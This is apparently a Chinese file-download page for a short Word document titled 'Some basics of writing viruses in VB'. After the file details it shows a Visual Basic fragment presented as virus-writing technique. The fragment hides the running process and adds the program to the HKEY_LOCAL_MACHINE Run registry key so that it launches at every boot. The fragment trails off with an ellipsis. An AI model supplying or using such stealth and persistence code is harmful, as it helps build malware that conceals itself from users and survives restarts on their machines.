【文件属性】：
文件名称：告诉你几个VB写病毒的常识.doc
文件大小：49KB
文件格式：DOC
更新时间：2013-09-02 16:21:59
VB写病毒
告诉你几个VB写病毒的常识
HideCurrentProcess '隐藏进程
Dim hKey As Long, SubKey As String, Exe As String
SubKey = "Software\Microsoft\Windows\CurrentVersion\Run"
Exe = App.Path & "\" & App.EXEName & ".exe"
RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey
RegSetValueEx hKey, "19911593", 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1
RegCloseKey hKey'开机启动
......